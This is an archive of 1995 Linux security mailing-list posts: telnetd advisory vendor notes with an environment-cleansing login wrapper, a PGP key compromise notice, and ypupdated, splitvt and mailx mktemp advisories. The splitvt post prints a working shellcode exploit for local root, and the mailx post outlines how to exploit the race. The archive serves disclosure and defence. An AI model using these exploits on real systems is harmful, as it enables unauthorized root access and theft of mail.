V5. Both patches have been PGP signed by Ted Ts'o using detached signatures (beta4-3.patch.sig and beta5.patch.sig). NetBSD ------ NetBSD 1.0 (the last official release) is vulnerable; NetBSD 1.1 (due out in mid-November) will not be. NetBSD-current is not vulnerable, as of a week or so ago. Patches: A source form patch has been developed. A core team member will have to make source and binary patches available and provide a location for it. The login-wrapper given in the advisory can be compiled with NetBSD with: cc -o login-wrapper login-wrapper.c NEC Corporation --------------- Some NEC systems are vulnerable. Here is their vulnerability matrix: OS Version Status ------------------ ------------ ------------------------------------- EWS-UX/V(Rel4.0) R1.x - R6.x not vulnerable EWS-UX/V(Rel4.2) R7.x - R10.x not vulnerable EWS-UX/V(Rel4.2MP) R10.x vulnerable patch available by the end of Nov, 1995 UP-UX/V R2.x - R4.x not vulnerable UP-UX/V(Rel4.2MP) R5.x - R7.x vulnerable patch available by the end of Nov, 1995 UX/4800 R11.x vulnerable patch available by the end of Nov, 1995 -------------------------------------------------------------------------- Contacts for further information: E-mail:[email protected] Open Software Foundation ------------------------ OSF/1 version 1.3 is not vulnerable. OpenVision ---------- This is from: Barry Jaspan : OpenVision has a patch for the telnetd in OpenV*Secure 1.2 and will contact its customers directly. SCO --- Not believed to be vulnerable. Silicon Graphics ---------------- IRIX 5.2, 5.3, 6.0.1, and 6.1 are vulnerable. SGI acknowledges the telnetd vulnerability reported by MIT and is currently investigating. No further information is available at this time. As further information becomes available, additional advisories will be issued. SGI Security Information/Contacts: For obtaining security information, patches or assistance, please contact your SGI support provider. If there are questions about this document, email can be sent to [email protected] . For reporting *NEW* SGI security issues, email can be sent to [email protected]. Sony Corporation ---------------- Sony's NEWS-OS 6.x is not vulnerable. .............................................................................. Appendix B: login-wrapper Workaround The login-wrapper program shown below is meant to be executed just before the distributed login program. The wrapper cleans specific variables from the environment before invoking the distributed login program. ------------------------cut here--8<------------------------ /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * */ #include #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/bin/login.real" #endif main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } } *p2 = 0; execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } ------------------------cut here--8<------------------------ The following two examples show how to compile the login-wrapper for SGI's IRIX 5.3 and FreeBSD 2.x systems. The examples move the distributed login program to a new location and install the wrapper in the standard location. When executed, the wrapper first cleanses the environment and then calls the relocated, distributed login program. Note 1: The wrapper must be compiled statically. On SGI's IRIX system, compiling statically requires that the non-shared versions of libraries be installed. Consult your system documentation to determine how to do this. Note 2: You may need to change the _PATH_LOGIN variable to define where the real login program resides on your system. On some systems, login resides in /usr/bin/login. Compiling for IRIX 5.3 ---------------------- # uname -a IRIX test 5.3 11091812 IP22 mips # /bin/ls -lL /bin/login -rwsr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login # /bin/cc -non_shared -O login-wrapper.c -o login-wrapper # /bin/mv /bin/login /bin/login.real # /bin/chmod 755 /bin/login.real # /bin/mv login-wrapper /bin/login # /bin/chmod 4755 /bin/login # /bin/chown root /bin/login # /bin/chgrp sys /bin/login # /bin/ls -lL /bin/login /bin/login.real -rwxr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login.real -rwsr-xr-x 1 root sys 213568 Oct 30 08:42 /bin/login Compiling for FreeBSD 2.x ------------------------- # /bin/ls -lg /usr/bin/login -r-sr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login # /usr/bin/cc -D_PATH_LOGIN=\"/usr/bin/login.real\" -static \ -O login-wrapper.c -o login-wrapper # /bin/mv /usr/bin/login /usr/bin/login.real # /bin/chmod 555 /usr/bin/login.real # /bin/mv login-wrapper /usr/bin/login # /bin/chmod 4555 /usr/bin/login # /usr/sbin/chown root.bin /usr/bin/login # /bin/ls -lg /usr/bin/login /usr/bin/login.real -r-sr-xr-x 1 root bin 24885 Oct 25 22:14 /usr/bin/login -r-xr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login.real From [email protected] Mon Nov 6 15:34:40 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA09876; Mon, 6 Nov 1995 15:22:02 -0500 Received: from uuneo.neosoft.com ([email protected] [206.109.1.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA09359; Mon, 6 Nov 1995 13:53:48 -0500 Received: from ris1.UUCP (ficc@localhost) by uuneo.neosoft.com (8.7.1/8.7.1) with UUCP id KAA01356 for tarsier.cv.nrao.edu!linux-alert; Mon, 6 Nov 1995 10:14:43 -0600 (CST) Received: by ris1.nmti.com (smail2.5) id AA00653; 6 Nov 95 10:33:51 CST (Mon) Received: by sonic.nmti.com; id AA12451; Mon, 6 Nov 1995 10:03:04 -0600 From: [email protected] (Peter da Silva) Message-Id: <[email protected]> Subject: Re: BoS: Telnetd Environment Vulnerability To: [email protected] Date: Mon, 6 Nov 1995 10:03:04 -0600 (CST) Cc: [email protected] In-Reply-To: <[email protected]> from "Cy Schubert - BCSC Open Systems Group" at Nov 2, 95 04:58:43 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] > for (p1 = p2 = envp; *p1; p1++) { > if (strncmp(*p1, "LD_", 3) != 0 && > strncmp(*p1, "_RLD", 4) != 0 && > strncmp(*p1, "LIBPATH=", 8) != 0 && > strncmp(*p1, "ELF_LD_", 7) != 0 && > strncmp(*p1, "AOUT_LD_", 8) != 0 && > strncmp(*p1, "IFS=", 4) != 0 ) { > *p2++ = *p1; > } > } Wouldn't it be safer to do something like: if(strncmp(*p1, "TERM=", 5) == 0 || strncmp(*p1, "DISPLAY=", 8) == 0) *p2++ = *p1; Is there any reason to copy the environment over to a possibly completely different architecture? There's only a few variables that really need to be transferred... From [email protected] Wed Nov 8 20:06:49 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA02159; Wed, 8 Nov 1995 19:28:32 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA02117; Wed, 8 Nov 1995 19:25:00 -0500 Date: Wed, 8 Nov 1995 19:25:00 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Apology for errant post. X-Quote-I-Like: "Whenever you have an efficient government, you have a dictatorship." --Harry S. Truman. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- My apologies to everyone for my forward of the recent short post from Peter da Silva to the linux-alert list; I meant to redirect that message to the linux-security list since it was a followup to a linux-alert post. Mea culpa. In the future, please direct all replies/followups to linux-alert posts over to the linux-security list; linux-alert is not meant to be a discussion group. This helps keep my confusion level down... - --Up. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKFKTrxzFUpUTHgFAQG+7QQAiD3z5tWKQrqwmQuA0kZ95QpAhzllGSm6 T262nAwQp3r1FoHKteAAghRPw5MB3CSmTEaJCE2JdM/sM+Hxgdp+iEiun15U26o2 IQBdAKUWlx0t/oQIuaUV0qdaFRUf2VAOyXjZSgHxWOmdZTnpgxTHs2FqvLNt4LWD +kwWCTSbqBI= =ACqY -----END PGP SIGNATURE----- -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-alert/1995/linux-alert.9512100664 1767 1767 70560 6067042627 15623 0ustar majdommajdomFrom [email protected] Sat Dec 2 16:37:41 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA01316; Sat, 2 Dec 1995 16:37:40 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id VAA01758; Wed, 29 Nov 1995 21:57:10 -0500 Received: from bach.cis.temple.edu ([email protected] [155.247.182.2]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with ESMTP id VAA05959; Wed, 29 Nov 1995 21:57:09 -0500 (EST) Received: from bach.cis.temple.edu (localhost [127.0.0.1]) by bach.cis.temple.edu (8.7.1/8.7.1) with SMTP id VAA11148; Wed, 29 Nov 1995 21:56:33 -0500 Date: Wed, 29 Nov 1995 21:56:32 -0500 (EST) From: "Alexander O. Yuriev" To: Jeff Uphoff cc: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], Linux Announce Submit , big-linux-mailing-list , Vladimir , Russ DeFlavia , Matt Bishop , Linux Security Mailing List , [email protected], Marc Ewing , Ron Holt , Roman Gollent , [email protected] Subject: EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- ONE OF LINUX SECURITY FAQ PGP KEYS HAD BEEN COMPROMISED. EMERGENCY LINUX SECURITY FAQ UPDATE 22:13:07 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security ============================================================================= Jeff Uphoff , co-moderator of linux-security and linux-alert mailing lists had issued a key revocation certificate for the the PGP key pub 1024/544C7805 1994/07/17 which could be used to sign Linux Security FAQ Updates or other security related information. From Nov 29, 1995 21:22:07 EST everything signed or encrypted using this key is considered to be compromised. Please notify Alexander O. Yuriev , Olaf Kirch using PGP encrypted email if you receive compromised information. The PGP public keys of people involved in Linux security will be available from the following URL: ftp://bach.cis.temple.edu/pub/Linux/Security/PGP-KEYS.pgp When Jeff Uphoff's new key will be available, it will be added to the the PGP-KEYS.pgp. Please avoid emailing sensitive information to Jeff Uphoff in the non-encrypted form. As the result of the attack NRAO is not directly connected to Internet. We are working on creating an emergency replacement archive for linux-security and linux-alert mailing lists, as well as a backup system to handle the mailing list while NRAO is being cleaned. The following is the extract from message sent by Jeff Uphoff: **************************************************************************** - From [email protected] Nov 29 21:06:25 1995 Date: Wed, 29 Nov 1995 20:47:01 -0500 From: Jeff Uphoff To: alex%[email protected] Subject: PGP key compromise. [I'm sending this to the people on my key-ring, i.e. those with which I occasionally or frequently exchange PGP encrypted e-mail.] Both my PGP key-ring (possible) and my pass-phrase (definite) have been compromised. Attached to this message is a key-revocation certificate. Please pass it on to as many people as you can think of that might have my current key. I cannot sign this message with a recognizable key now, but the block speaks for itself once you feed it through PGP. Robert Millner can verify the compromise by telephone at 540-961-4321, as can I at 804-296-0208. Details of the compromise will be released later to those interested parties that have not been following this particular series of events. (The U.S. FBI is now involved.) NRAO headquarters is no longer interactively reachable from the Internet, though we are exchanging e-mail as long as we can safely maintain the link. - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 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 aW51eC5vcmc+ =SL0I - -----END PGP PUBLIC KEY BLOCK----- ***************************************************************** -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBML0bT4xFUz2t8+6VAQHFBgP+Pf19mAJhh0zM8OhctpN4NyewjjHlhj9b kbVpbOwTpVGWqMEKTNCj6qP+Wl9cbp910WAOxsWrLN6G1u35tBQ95SWjKz8bhLup D/U3VMyc1TNgsYwRoQhjMVkl3g9+mzpXIyqmVGUANLPVtTbxBe3lJlyXpvBU8iwd VnG4+bF31EU= =tYmz -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Sun Dec 3 19:30:16 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA06794; Sun, 3 Dec 1995 19:30:15 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA06752; Sun, 3 Dec 1995 19:28:20 -0500 Date: Sun, 3 Dec 1995 19:28:20 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected], [email protected], [email protected] Subject: 'ypupdated' hole, system crackers. X-Quote-I-Like: "The part that frightens the hell out of me is the goverment deciding where technology goes." --Senator Patrick Leahy. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] There is a hole, apparently quite serious, in the NIS program 'ypupdated'. CERT, among others, has confirmed the existence of a hole, and it appears to be under active exploitation by crackers who use it as one of many methods to illicitly gain privileged access to systems/sites. If you are running it on any of your systems, you should probably kill it until this issue is resolved/patched. NIS server systems running SunOS 4.1.x variants seem to be the favored target systems in this current series of attacks. Also, please check the directory /usr/share/src/sun/sunview1/examples/fonts for signs of cracker tools on any Suns that you administrate; this appears to be a favorite area for hiding "kits" and sniffers in a currently-active attack pattern. If you find anything in that area (even the existence of the "fonts" sub-directory should be considered suspicious), please immediately dump the area to tape and contact [email protected] and/or [email protected]; it is likely that the system has been badly compromised. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Tue Dec 12 06:19:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA13538; Tue, 12 Dec 1995 06:19:20 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id EAA13044; Tue, 12 Dec 1995 04:16:41 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id EAA11224 for ; Tue, 12 Dec 1995 04:04:13 -0500 (EST) Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0tPCPH-0005BQC; Mon, 11 Dec 95 18:52 MET Received: from monad by monad.swb.de with uucp (smail3.1.29.0 #5) id m0tPDUY-00005FC; Mon, 11 Dec 95 20:02 MET Received: from brewhq.swb.de by monad.swb.de with uucp (smail3.1.29.0 #5) id m0tNYw8-0000BxC; Thu, 7 Dec 95 06:32 MET Received: from procert.cert.dfn.de by brewhq.swb.de with smtp (Linux Smail3.1.29.0 #5) id m0tNTXZ-0005B2C; Thu, 7 Dec 95 00:46 MET Received: from marmoset.cv.nrao.edu ([email protected] [192.33.115.176]) by procert.cert.dfn.de (8.6.10/8.6.10) with ESMTP id AAA24501; Thu, 7 Dec 1995 00:37:50 +0100 Received: from tarsier.cv.nrao.edu ([email protected] [192.33.115.50]) by marmoset.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id RAA05802; Wed, 6 Dec 1995 17:15:53 -0500 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA32142; Wed, 6 Dec 1995 17:15:42 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id AAA10599; Mon, 4 Dec 1995 00:56:33 -0500 Received: from crimson.cadvision.com (cadc39.cadvision.com [204.50.20.39]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id AAA28408; Mon, 4 Dec 1995 00:56:25 -0500 (EST) Received: (from root@localhost) by crimson.cadvision.com (8.6.11/8.6.9) id WAA00528; Sun, 3 Dec 1995 22:52:45 -0700 Date: Sun, 3 Dec 1995 22:52:37 -0700 (MST) From: root To: Jeff Uphoff cc: [email protected], [email protected], [email protected], [email protected] Subject: Avalon Release In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [mod: This should have been approved to linux-alert a few days ago, but it somehow escaped me. I'm very sorry for the delay. At least Slackware 3.0 seems affected (but it doesn't seem to work for all users alike). Red Hat doesn't have splitvt; the status of other systems is not known. The simplest fix is to remove the setuid bit from splitvt. --okir] Avalon Security Research Release 1.3 (splitvt) Affected Program: splitvt(1) Affected Operating Systems: Linux 2-3.X Exploitation Result: Local users can obtain superuser privelages. Bug Synopsis: A stack overflow exists via user defined unbounds checked user supplied data sent to a sprintf(). Syntax: crimson~$ cc -o sp sp.c crimson~$ sp bash$ sp bash$ splitvt bash# whoami root Credit: Full credit for this bug (both the research and the code) goes to Dave G. & Vic M. Any questions should be directed to [email protected] . ---------------------------------------------------------------------------- long get_esp(void) { __asm__("movl %esp,%eax\n"); } main() { char eggplant[2048]; int a; char *egg; long *egg2; char realegg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *eggie = realegg; egg = eggplant; *(egg++) = 'H'; *(egg++) = 'O'; *(egg++) = 'M'; *(egg++) = 'E'; *(egg++) = '='; egg2 = (long *)egg; for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30; egg=(char *)egg2; for (a=0;a<0x40;a++) *(egg++) = 0x90; while (*eggie) *(egg++) = *(eggie++); *egg = 0; /* terminate eggplant! */ putenv(eggplant); system("/bin/bash"); } From [email protected] Thu Dec 14 14:08:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id OAA11648; Thu, 14 Dec 1995 14:08:27 -0500 Resent-Date: Thu, 14 Dec 1995 13:49:25 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-ID: <[email protected]> X-To: [email protected] From: Sam Lantinga To: Multiple recipients of list BUGTRAQ Subject: SECURITY: Announcing Splitvt 1.6.3 Date: Wed, 13 Dec 1995 17:56:56 PST X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [Mod: This is a followup to the initial alert on splitvt; it's an announcement from splitvt's author, reposted here from the bugtraq mailing list. Since it's a forward from another list, I've not PGP signed it myself. --Jeff] Announcing the newest version of splitvt! SECURITY ALERT!!! splitvt versions lower than 1.6.3 are known to have a security hole allowing a user to gain ROOT access on some systems! If you have a version lower than 1.6.3 _please_ remove the set-uid bit on your current version, and upgrade to the newer version as soon as possible. ("splitvt -version" will tell you what version you are running) The set-uid bit is only for updating the utmp database and for changing ownership of its pseudo-terminals. It is not necessary for splitvt's operation. The latest version is available via anonymous ftp from dandelion.ceres.ca.gov in the /pub/splitvt directory. The output of md5sum on the TAR file splitvt-1.6.3.tar is: eec2fe2c5b4a3958261197905a9d9c81 splitvt-1.6.3.tar What it is: Splitvt is a program that splits any vt100 compatible screen into two - an upper and lower window in which you can run two programs at the same time. Splitvt differs from screen in that while screen gives you multiple virtual screens, splitvt splits your screen into two fully visible windows. You can even use splitvt with screen to provide multiple split screens. This can be very handy when running over a modem, or for developing client-server applications. What can I use it for? Well, at this time, I am aware of several ways in which people are using splitvt. Some people like to use it over the modem to allow them more than one window at a time, others like to use it in xterms because they prefer having everything on the screen at once, and some people are using it in conjunction with the -rcfile option to automate system administration tasks. If you are using splitvt in a new and unusual way, I'd like to hear about it! Direct all comments to [email protected] Where can I get it? Splitvt is available for anonymous ftp from dandelion.ceres.ca.gov in the /pub/splitvt directory. You can also get it from sunsite.unc.edu in /pub/Linux/Incoming now, and will hopefully to be moved to /pub/Linux/utils/terminal. The file is splitvt-1.6.3.tgz and it is in tarred and gzipped format. What's new? Lots of stuff. :) Here is the list of things from the CHANGES file: Version 1.6.3 Patched some security holes: fixed sprintf overflow in parserc.c fixed env label overflow in parserc.c fixed env variable expansion overflow added read access check in parserc.c added chdir() access check in parserc.c fixed sprintf overflow in vtmouse.c Version 1.6.2 Fixed a bug in vt_showscreen() Fixed separator redisplay in vt_prompt() Added the ANNOUNCE file Added a "cd" command to the startup file Added -t option to change xterm title xterm title is reset, if possible, at exit Added xterm drag-n-drop of separator bar Speeded up separator bar movement (broken) Fixed cut-paste highlighting (broken) Integrated cut-paste with X selection (xcb) Fixed job control for FreeBSD (thanks to Quang Ngo) Fixed bug in cursor keys (showed up in vi) ---- What's planned? I want to beef up the startup file syntax so that you can specify the format of the "status bar", or window divider, and I plan to rewrite the startup file parser so that it allows you to use more flexible and powerful startup scripts. I am also toying with the idea of cut-paste "screen" style, and a window history that you can scroll back through. I have cut-paste partially working. Other things on the pot are cleaning up dead windows, dynamically starting new windows, etc... If you have any wishes, just let me know at [email protected], and I'll try to include them in future releases of splitvt. I'll try to avoid feeping creaturism, but a few bells and whistles would be nice. :) Note: At the moment I have several other projects, and have this one on unspecified hold. This release was mainly to fix some security holes. Will it run on my system? Well, if you run a UNIX that has pseudo-tty support, chances are that splitvt will work on your system. Splitvt has been ported to all of the "standard" unices, and also to a few oddball unices, such as AIX, NewsOS, MP-RAS, and NeXT. Well, that about wraps it up. I hope you enjoy this software, originally conceived by Dave Ljung and created by yours truly. Enjoy! -Sam Lantinga ([email protected]) From [email protected] Sat Dec 23 13:08:16 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA01988; Sat, 23 Dec 1995 13:08:14 -0500 Message-ID: Date: Fri, 22 Dec 1995 17:35:01 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected] Subject: mailx-5.5 (slackware /bin/mail) security hole Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [mod: The timing of this is somewhat unfortunate, given that most people are off for xmas dinner now. Since this has been posted to bugtraq, too, there's no point in delaying it. However, I have removed the exploit code from the copy approved to linux-alert. --okir] There is a problem prevalent in the way many programs implement their usage of mktemp() in order to create temporary files in /tmp, allowing users on a machine to read and write to the contents of temporary files created. The basic problem is that there is a race condition that exists between the point that a program calls mktemp(), and the pathname returned by mktemp is actually created. For some programs, the file creation is immediately or almost immediately following the mktemp(), resulting in an extremely small window of opportunity, and as a result making it very difficult to exploit. However, there are other programs that do not immediately open the file, and in these cases it is only a matter of getting the timing right in order to exploit the hole. To exploit this hole, simply create the file that mktemp() returns as a valid temporary filename after mktemp() has been called, but before the file has been opened, allowing the user running the program permissions to read and write from that temporary file. The program will then succeed in an fopen, and will write to the file, oblivious to the fact that it didn't actually create the file, and that others can also read and write from the file. Note that most programs will immediately unlink() a temporary file, but that does not delete it until after it is closed. Closing a file results in the contents of it being flushed, and so by using a 'tail -f' or a similar procedure, you can capture the contents of the file before it is removed from the filesystem. The filename returned by mktemp() is easily determined for most unix platforms, allowing this bug to be exploited. For the linux libc, this is to replace the X's in the template with the leftmost digit starting at 'a', and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file already exists), and then replacing the rest of the X's with the process id (0 padded). Other operating systems use a variation of this technique, experimentation easily reveals the algorithm. The generic procedure used to formulate an exploit for a particular program with this bug is as follows: 1. detect the execution of the program. 2. determine the temporary filename that mktemp() will return when called by the program. 3. determine the point at which mktemp() is called by the program, and immediately following that point, create the file, with rw permissions for the user who is running the program. 4. read the contents of the temporary file, using a 'tail -f' or your own routines. Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers from this mktemp() problem in all temporary files it creates. It uses 5 temporary files with filenames generated during the program's initialization in a tinit() function, and then uses them as it becomes necessary during the program's execution. The race condition begins in this tinit() function. The temporary files that can be exploited are as follows: /tmp/ReXXXXXX Used when a user selects 'e' from the mailx command prompt, to edit mail. The message the user has selected to edit is copied to the temporary file at this point, and then the editor is invoked on that temp file. The race condition ends when the user has selected 'e', and allows the mesage being edited to be read. /tmp/RsXXXXXX Used when a user sends mail, usually from the command line, such as: 'mail dave'. The race condition ends when EOF is recieved from stdin, and the message is about to be sent, and allows the outgoing mail to be read. /tmp/RqXXXXXX Used when mail arrives into the mail spool while mail is currently running. The race condition ends when the program is preparing to shutdown, and allows the new contents of the mail spool to be read. /tmp/RmXXXXXX Used to prepend a message to the user's mbox file. Prepending requires the entire mbox contents to be read to the temporary file and then appened to the new message(s) being added to the file. This is disabled by default in Slackware 3.0 in the /etc/mail.rc by the use of the set append option. For this to be useful, that option needs to be removed from /etc/mail.rc, or an unset append needs to be added to the user 